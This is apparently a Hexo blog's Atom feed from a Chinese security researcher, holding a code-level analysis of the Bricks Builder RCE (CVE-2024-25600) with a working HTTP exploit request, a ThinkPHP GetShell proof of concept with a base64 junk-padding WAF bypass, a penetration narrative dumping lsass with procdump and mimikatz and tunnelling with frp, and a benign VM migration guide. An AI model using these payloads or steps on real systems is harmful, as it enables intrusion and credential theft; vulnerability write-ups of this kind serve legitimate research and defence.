-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
371 lines (178 loc) · 134 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>卡卡罗特取西经</title>
<link href="http://example.com/atom.xml" rel="self"/>
<link href="http://example.com/"/>
<updated>2025-01-06T12:12:33.642Z</updated>
<id>http://example.com/</id>
<author>
<name>ybdt</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>CVE-2024-25600 WordPress Bricks Builder远程代码执行漏洞分析</title>
<link href="http://example.com/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<id>http://example.com/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</id>
<published>2025-01-06T11:57:41.000Z</published>
<updated>2025-01-06T12:12:33.642Z</updated>
<content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>朋友圈看到有人转发了一篇“CVE-2024-25600:WordPress Bricks Builder RCE”,感觉挺有意思,点进去看了下,可是从头到尾看得我有点迷糊,本着打破砂锅问到底的原则,本文试图以漏洞挖掘者的视角详细分析这个漏洞,试着讲清楚漏洞真正的成因,也在分析的过程中发现一些新的小东西,比如漏洞只影响1.9.1及之上的版本,网上都在说影响版本是<=1.9.6,其实应该是1.9.1 <= affected version <= 1.9.6</p><p>这里想说句题外话,如果一篇文章看得你云里雾里,那不排除一种可能,这篇文章质量不高~</p><h1 id="0x01-漏洞宏观流程"><a href="#0x01-漏洞宏观流程" class="headerlink" title="0x01 漏洞宏观流程"></a>0x01 漏洞宏观流程</h1><p>漏洞最终触发点是eval执行了攻击者传入的恶意代码,导致任意代码执行<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/01.png" alt="image"><br>其中参数$php_query_raw是攻击者可控的,路由也是攻击者可控的,最后在权限校验部分仅使用nonce进行权限校验,而nonce会泄露在前端源码中,至此《危险函数 -> 用户输入 -> 对应路由 -> 权限绕过》全部满足,最终导致了前台RCE(实际的细节有些复杂…)</p><p>pyload如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">POST /WordPress-6.4.3/wp-json/bricks/v1/render\_element HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36</span><br><span class="line">Connection: close</span><br><span class="line">Content-Length: 270</span><br><span class="line">Content-Type: application/json</span><br><span class="line">Accept-Encoding: gzip, deflate, </span><br><span class="line"></span><br><span class="line">{</span><br><span class="line"> "postId": "1",</span><br><span class="line"> "nonce": " a980a714d9",</span><br><span class="line"> "element": {</span><br><span class="line"> "name": "container",</span><br><span class="line"> "settings": {</span><br><span class="line"> "hasLoop": "",</span><br><span class="line"> "query": {"useQueryEditor": "","queryEditor": "system('calc');","objectType": ""}</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h1 id="0x02-漏洞细节流程"><a href="#0x02-漏洞细节流程" class="headerlink" title="0x02 漏洞细节流程"></a>0x02 漏洞细节流程</h1><h2 id="01-危险函数"><a href="#01-危险函数" class="headerlink" title="01 危险函数"></a>01 危险函数</h2><p>危险函数是eval,平时挖漏洞时,危险函数可以通过Seay跑一遍后发现,从代码注释中可以看到,漏洞代码是自版本1.9.1才有的<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/0a.png" alt="image"> </p><h2 id="02-用户输入"><a href="#02-用户输入" class="headerlink" title="02 用户输入"></a>02 用户输入</h2><p>从触发点往上回溯,可看到参数$php_query_raw的值来自于bricks_render_dynamic_data( $query_vars[‘queryEditor’], $post_id )的返回值<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/02.png" alt="image"> </p><p>ctrl+鼠标左键,进去看下bricks_render_dynamic_data对$query_vars[‘queryEditor’]和$post_id有没有什么过滤,可以看到具体实现在render_content中<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/03.jpg" alt="image"> </p><p>继续跟进render_content,代码逻辑是:<br>如果第一个参数是数组且至少有一个元素,则直接返回第一个元素。<br>如果第一个参数中键name对应的值不为空,那么将键name对应的值赋值给第一个元素,否则将第一个参数转化为字符串类型后赋值给第一个参数。<br>如果第一个参数中不包含字符’{‘,则直接返回第一个参数。<br>如果第一个参数中包含字符串’{echo:’,那么去掉第一个参数中用来转义的反斜线。<br>如果$post_id的值为空,那么调用get_the_ID()并将返回值赋值给$post_id,否则$post_id的值不变。<br>$post_id经get_post()处理后赋值给$post。<br>将’bricks/dynamic_data/render_content’, $content, $post, $context经apply_filters处理后的返回值返回<br>(详细讲述代码逻辑太费劲了,估计看的人也费劲,后面只讲基本逻辑)<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/04.png" alt="image"> </p><p>现在我们梳理了bricks_render_dynamic_data内部做了什么,具体返回什么值要看传入什么样的参数,回到原来的地方,Database::$page_data[‘preview_or_post_id’]跟进后值是常量0,现在变量只剩$query_vars[‘queryEditor’],向上找$query_vars[‘queryEditor’]发现没有,只找到$query_vars,$query_vars来自方法prepare_query_vars_from_settings的第一个参数$settings,也就是说,调用prepare_query_vars_from_settings时,第一个参数$settings需要满足:$settings->[‘query’]->[‘useQueryEditor’]存在且不为null、$settings->[‘query’]->[‘queryEditor’]不为空,还有一个条件,$object_type需要是[ ‘post’,’term’,’user’ ]中的一个,$object_type来自于self::get_query_object_type(),跟进get_query_object_type,基本逻辑是:根据全局变量$bricks_loop_query的值决定返回’post’还是’’<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.png" alt="image"> </p><p>ctrl+鼠标左键,看下哪些函数调用了prepare_query_vars_from_settings,可以看到只有2个,database.php和query.php,database.php看名字就知道是和数据库打交道的,如果漏洞点在这个文件中,很可能还需要一个sql注入漏洞将恶意代码注入到数据库中,所以优先选择query.php进行深入查看<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/07.png" alt="image"> </p><p>跟进query.php,可以看到在下图111行中调用了prepare_query_vars_from_settings,传入的是$this->settings,向上回溯发现$this->settings来自于$element[‘settings’],并且这些代码处于else子句中,也就是说需要让$query_instance的值为false,$query_instance的值来自于self::get_query_by_element_id( $this->element_id ),$this->element_id的值来自于实例化类Query时传进来的参数$element<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/08.png" alt="image"> </p><p>跟进get_query_by_element_id里面看一下,可以看到如果传进来的$element_id为空的话,则返回false,也就符合上面说的进入else子句<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/09.png" alt="image"> </p><p>然后看下哪些地方实例化了类Query,可以看到一共有15处<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/10.png" alt="image"> </p><p>先看第1处,ajax.php,需要满足$loop_element不存在或为false的时候,才会实例化类Query,向上找发现$loop_element的值默认为false,假如中间没改变$loop_element的值,是没法实例化类Query<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/11.png" alt="image"> </p><p>向下会看到new $element_class_name( $element )这样一行代码,关键点就在这个地方,此处才是漏洞的真正成因,想要执行new $element_class_name( $element )需要$element_class_name表示的类存在,跟进Elements可以看到,里面定义了一个静态属性$elements,初始化之后,回将$element_names中的元素注册到$elements中<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/12.png" alt="image"> </p><p>如下是注册到$elements中<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/13.png" alt="image"> </p><p>再看一下payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">POST /WordPress-6.4.3/wp-json/bricks/v1/render\_element HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36</span><br><span class="line">Connection: close</span><br><span class="line">Content-Length: 270</span><br><span class="line">Content-Type: application/json</span><br><span class="line">Accept-Encoding: gzip, deflate, </span><br><span class="line"></span><br><span class="line">{</span><br><span class="line"> "postId": "1",</span><br><span class="line"> "nonce": " a980a714d9",</span><br><span class="line"> "element": {</span><br><span class="line"> "name": "container",</span><br><span class="line"> "settings": {</span><br><span class="line"> "hasLoop": "",</span><br><span class="line"> "query": {"useQueryEditor": "","queryEditor": "system('calc');","objectType": ""}</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>此时我们变成了实例化类Bricks\Element_Container,进到Element_Container类中,可以看到它是继承父类Element,也就是说它能调用的方法不光在它中,还可能在父类中,回到ajax.php,我们看下new $element_class_name( $element )之后的代码,调用了2个方法load和init,其中init在父类Element中,并且init中调用了方法render,然后render中实例化了类Query,满足上面我们分析的条件<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/14.png" alt="image"> </p><h2 id="03-对应路由"><a href="#03-对应路由" class="headerlink" title="03 对应路由"></a>03 对应路由</h2><p>回到ajax.php,从注释中就能看到,一段是处理AJAX请求,一段是处理REST API请求<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/15.png" alt="image"> </p><h2 id="04-权限绕过"><a href="#04-权限绕过" class="headerlink" title="04 权限绕过"></a>04 权限绕过</h2><p>可以看到代码AJAX中有权限检验,代码REST API中看似没有权限检验,但注释中说了,权限检查在API->render_element_permissions_check()中,跟进render_element_permissions_check后发现,内部其实没进行权限检查,只校验了nonce<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/16.png" alt="image"><br>wordpress中明确提到,nonce不应作为权限验证,最终导致权限绕过<br><img src="/2025/01/06/CVE-2024-25600-WordPress-Bricks-Builder%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/17.png" alt="image"> </p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>漏洞出现在后台的编辑器功能处,用于渲染元素并且预览效果,由于弱权限校验导致权限绕过可直接访问REST API端点,最终导致RCE,最后,感谢ID为zero的师傅分享的源码</p><h1 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h1><p>漏洞发现者对漏洞的分析,总体行,细节不行<br><a href="https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6">https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6</a> </p><p>补天上一篇还不错的文章<br><a href="https://forum.butian.net/share/2814">https://forum.butian.net/share/2814</a> </p><p>CSDN上一篇还不错的文章<br><a href="https://blog.csdn.net/shelter1234567/article/details/136503993">https://blog.csdn.net/shelter1234567/article/details/136503993</a> </p><p>AJAX和REST API<br><a href="https://www.runoob.com/php/php-restful.html">https://www.runoob.com/php/php-restful.html</a><br><a href="https://www.runoob.com/php/php-ajax-php.html">https://www.runoob.com/php/php-ajax-php.html</a> </p><p>其他质量不高的文章我就不贴了 </p>]]></content>
<summary type="html"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>朋友圈看到有人转发了一篇“CVE-2024-25600:WordPress Bricks Builder RCE”,感觉挺有意思,点进去看了</summary>
<category term="代码审计" scheme="http://example.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>Parallels Desktop虚拟机(PD虚拟机)迁移到VMware Workstation</title>
<link href="http://example.com/2024/12/29/Parallels-Desktop%E8%99%9A%E6%8B%9F%E6%9C%BA%EF%BC%88PD%E8%99%9A%E6%8B%9F%E6%9C%BA%EF%BC%89%E8%BF%81%E7%A7%BB%E5%88%B0VMware-Workstation/"/>
<id>http://example.com/2024/12/29/Parallels-Desktop%E8%99%9A%E6%8B%9F%E6%9C%BA%EF%BC%88PD%E8%99%9A%E6%8B%9F%E6%9C%BA%EF%BC%89%E8%BF%81%E7%A7%BB%E5%88%B0VMware-Workstation/</id>
<published>2024-12-29T14:01:44.000Z</published>
<updated>2024-12-29T14:03:25.008Z</updated>
<content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>工作需要,去现场干活但不能用自己的电脑,考虑将我平时用的虚拟机拷贝过去,但我是intel mac下使用parallels desktop虚拟化的win10,现场是windows机器,pd虚拟机无法导入vmware workstation中,google、知乎、v2ex上各种搜索,不是不完整,就是不可用,最终通过自己尝试和国外一篇博客发现可行的方法,本文记录一下</p><h1 id="过程"><a href="#过程" class="headerlink" title="过程"></a>过程</h1><p>整体思路是,mac下vmware fusion导入pd虚拟机,vmware fusion中将虚拟机导出为ovf格式,最终导入vmware workstation中</p><h2 id="步骤1"><a href="#步骤1" class="headerlink" title="步骤1"></a>步骤1</h2><p>mac下安装好vmware fusion,截止到2024年12月22日,vmware fusion已经免费了,现在连破解许可都不用找了</p><h2 id="步骤2"><a href="#步骤2" class="headerlink" title="步骤2"></a>步骤2</h2><p>vmware fusion直接导入pd虚拟机会报错</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Error23 无法导入虚拟机</span><br></pre></td></tr></table></figure><p>需要使用qemu-img转换一下格式,安装qemu-img命令如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install qemu</span><br></pre></td></tr></table></figure><p>我这边安装过程中提示还需要安装什么xcode(记不清了…),需要一并安装,安装后使用如下命令转换(转换之前,虚拟机需要关机)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">qemu-img convert -f parallels -O vmdk Win11-开发-0.hdd.0.{5fbaabe3-6958-40ff-92a7-860e329aab41}.hds win11.vmdk</span><br></pre></td></tr></table></figure><p>不知是否注意到,转换的不是.pvm文件,而是.hds文件,pvm文件->右键->显示包内容,将里面的.hdd文件拖出来,hdd文件->右键->显示包内容,将里面的.hds文件拖出来,这个地方让我伤到了,一开始转换pvm失败,后来转换hdd还是失败,想不到里面还有一个hds…</p><p>这里还有一个小坑点,hdd文件显示包内容后,可能会有两个hds文件,如果有2个,那另一个是你的快照,对比没有快照的pvm文件,里面只有一个hds文件</p><p>转换后,vmware fusion新建虚拟机,使用刚才生成的vmdk文件作为磁盘,可以成功导入</p><h2 id="步骤3"><a href="#步骤3" class="headerlink" title="步骤3"></a>步骤3</h2><p>vmware fusion中将虚拟机导出为ovf格式,最终导入vmware workstation中<br><img src="/2024/12/29/Parallels-Desktop%E8%99%9A%E6%8B%9F%E6%9C%BA%EF%BC%88PD%E8%99%9A%E6%8B%9F%E6%9C%BA%EF%BC%89%E8%BF%81%E7%A7%BB%E5%88%B0VMware-Workstation/02.png" alt="image"> </p><h2 id="优化"><a href="#优化" class="headerlink" title="优化"></a>优化</h2><p>隐约记得vmware workstation中是可以直接导入vmdk格式的文件,尝试一下,vmware workstation中,新建虚拟机->自定义虚拟机,一路下一步,创建硬盘时选择之前的vmdk文件,经测试,可成功导入<br><img src="/2024/12/29/Parallels-Desktop%E8%99%9A%E6%8B%9F%E6%9C%BA%EF%BC%88PD%E8%99%9A%E6%8B%9F%E6%9C%BA%EF%BC%89%E8%BF%81%E7%A7%BB%E5%88%B0VMware-Workstation/03.png" alt="image"> </p><h1 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h1><p><a href="https://www.reddit.com/r/vmware/comments/1dvrkye/how_to_move_from_parallels_to_vmware/?rdt=39473">https://www.reddit.com/r/vmware/comments/1dvrkye/how_to_move_from_parallels_to_vmware/?rdt=39473</a></p><p><a href="https://chrisdooks.com/2024/05/15/import-a-parallels-vm-into-vmware-fusion-pro/">https://chrisdooks.com/2024/05/15/import-a-parallels-vm-into-vmware-fusion-pro/</a></p>]]></content>
<summary type="html"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>工作需要,去现场干活但不能用自己的电脑,考虑将我平时用的虚拟机拷贝过去,但我是intel mac下使用parallels desktop虚拟</summary>
<category term="系统运维" scheme="http://example.com/tags/%E7%B3%BB%E7%BB%9F%E8%BF%90%E7%BB%B4/"/>
</entry>
<entry>
<title>ThinkPHP GetShell WAF绕过</title>
<link href="http://example.com/2024/11/18/ThinkPHP-GetShell-WAF%E7%BB%95%E8%BF%87/"/>
<id>http://example.com/2024/11/18/ThinkPHP-GetShell-WAF%E7%BB%95%E8%BF%87/</id>
<published>2024-11-18T12:38:34.000Z</published>
<updated>2024-11-18T12:40:07.621Z</updated>
<content type="html"><![CDATA[<p>分享一个ThinkPHP GetShell时WAF绕过的小技巧</p><h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><p>以如下POC为例</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">POST /?s=captcha&test=-1 HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line"></span><br><span class="line">s=file_put_contents('system.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert</span><br></pre></td></tr></table></figure><p>可能绕过WAF的POC为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">POST /?s=captcha&test=-1 HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line"></span><br><span class="line">s=file_put_contents('system.php','<?php file_put_contents("todoback.php",base64_decode("垃圾字符"));?>')&_method=__construct&method=POST&filter[]=assert</span><br></pre></td></tr></table></figure><h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><p><img src="/2024/11/18/ThinkPHP-GetShell-WAF%E7%BB%95%E8%BF%87/01.png" alt="image"><br>官方文档中提到,使用base64_decode解码但不指定第二个参数$strict时,base64字符集以外的字符将被忽略,由此我们可以利用它来插入大量垃圾字符</p><h1 id="实践"><a href="#实践" class="headerlink" title="实践"></a>实践</h1><p>Ubuntu22.04 + 宝塔(Nginx1.24.0 + PHP5.6.40)</p><p>先测试合法base64字符,代码如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">$str = 'VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==';</span><br><span class="line">echo base64_decode($str);</span><br><span class="line">?></span><br></pre></td></tr></table></figure><p>访问后,输出如下图<br><img src="/2024/11/18/ThinkPHP-GetShell-WAF%E7%BB%95%E8%BF%87/02.png" alt="image"> </p><p>测试插入非法base64字符</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">$str = 'VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==***';</span><br><span class="line">echo base64_decode($str);</span><br><span class="line">?></span><br></pre></td></tr></table></figure><p>访问后,输出如下图<br><img src="/2024/11/18/ThinkPHP-GetShell-WAF%E7%BB%95%E8%BF%87/03.png" alt="image"> </p><p>测试插入100万个非法base64字符,python脚本如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">with open("a.txt", "w") as fw:</span><br><span class="line"> for i in range(1000000):</span><br><span class="line"> fw.write("*")</span><br></pre></td></tr></table></figure><p>代码如下<br><img src="/2024/11/18/ThinkPHP-GetShell-WAF%E7%BB%95%E8%BF%87/04.png" alt="image"><br>访问后,输出如下图<br><img src="/2024/11/18/ThinkPHP-GetShell-WAF%E7%BB%95%E8%BF%87/05.png" alt="image"> </p>]]></content>
<summary type="html"><p>分享一个ThinkPHP GetShell时WAF绕过的小技巧</p>
<h1 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h1><p>以如下POC为例</p>
<figure class=</summary>
<category term="Web打点" scheme="http://example.com/tags/Web%E6%89%93%E7%82%B9/"/>
</entry>
<entry>
<title>从shiro命令执行到远程桌面登录</title>
<link href="http://example.com/2024/10/06/%E4%BB%8Eshiro%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%B0%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%99%BB%E5%BD%95/"/>
<id>http://example.com/2024/10/06/%E4%BB%8Eshiro%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%B0%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%99%BB%E5%BD%95/</id>
<published>2024-10-06T01:32:57.000Z</published>
<updated>2024-11-18T12:41:44.402Z</updated>
<content type="html"><![CDATA[<h1 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h1><p>一个shiro命令执行并且有回显的口子,直接打各类内存马均失败,powershell一句话上线CS失败,查看进程发现有360、火绒,考虑到内存马不是我的研究方向,从文件下载方向突破</p><h1 id="0x01-突破"><a href="#0x01-突破" class="headerlink" title="0x01 突破"></a>0x01 突破</h1><p>常规的文件下载方式bitsadmin、certutil、ftp等均被拦截,掏出储备的一个免杀的文件下载方式,可成功下载exe文件,尝试下载免杀远控并执行,发现无法执行(原因未知),改为下载魔改过的免杀冰蝎到对应的web目录下,成功连接webshell</p><h1 id="0x02-再突破"><a href="#0x02-再突破" class="headerlink" title="0x02 再突破"></a>0x02 再突破</h1><p>连接上webshell后,尝试执行远控仍旧失败,看来这条路行不通了,上传procdump抓取lsass的内存,想要下载到本地解密,发现不能下载(猜测可能是AV给拦截了),重新梳理下场景,想到既然是shiro的站点,那可以通过web服务下载文件,将文件移动到web目录后成功下载,随后通过mimikatz解出密码,密码真TM复杂啊,上传魔改过的免杀frp,建立隧道后,远程桌面成功连接</p><h1 id="0x03-优化"><a href="#0x03-优化" class="headerlink" title="0x03 优化"></a>0x03 优化</h1><p>远程桌面连接后,发现屏幕字体非常非常小,应该是我本机虚拟机的分辨率太高导致的,此时可以先修改本机的屏幕分辨率,再远程桌面连接后大小刚刚好,但是本机字体会非常非常大,且通过Win10自带的mstsc连接Windows Server 2008 R2时,是不能将密码拷贝到登录界面中,如果密码很复杂的话,不仅费力还容易出错,这里推荐使用UWP版本的远程桌面,可以先设置用户名密码再连接,也就是可以粘贴密码,在紧张的攻防中提供一些便利~</p>]]></content>
<summary type="html"><h1 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h1><p>一个shiro命令执行并且有回显的口子,直接打各类内存马均失败,powershell一句话上线CS失败,查看进程发现有360、火绒,考虑到内</summary>
<category term="Web打点" scheme="http://example.com/tags/Web%E6%89%93%E7%82%B9/"/>
</entry>
<entry>
<title>Windows命令学习之ICACLS</title>
<link href="http://example.com/2024/08/15/Windows%E5%91%BD%E4%BB%A4%E5%AD%A6%E4%B9%A0%E4%B9%8BICACLS/"/>
<id>http://example.com/2024/08/15/Windows%E5%91%BD%E4%BB%A4%E5%AD%A6%E4%B9%A0%E4%B9%8BICACLS/</id>
<published>2024-08-15T08:49:32.000Z</published>
<updated>2024-10-06T01:40:04.810Z</updated>
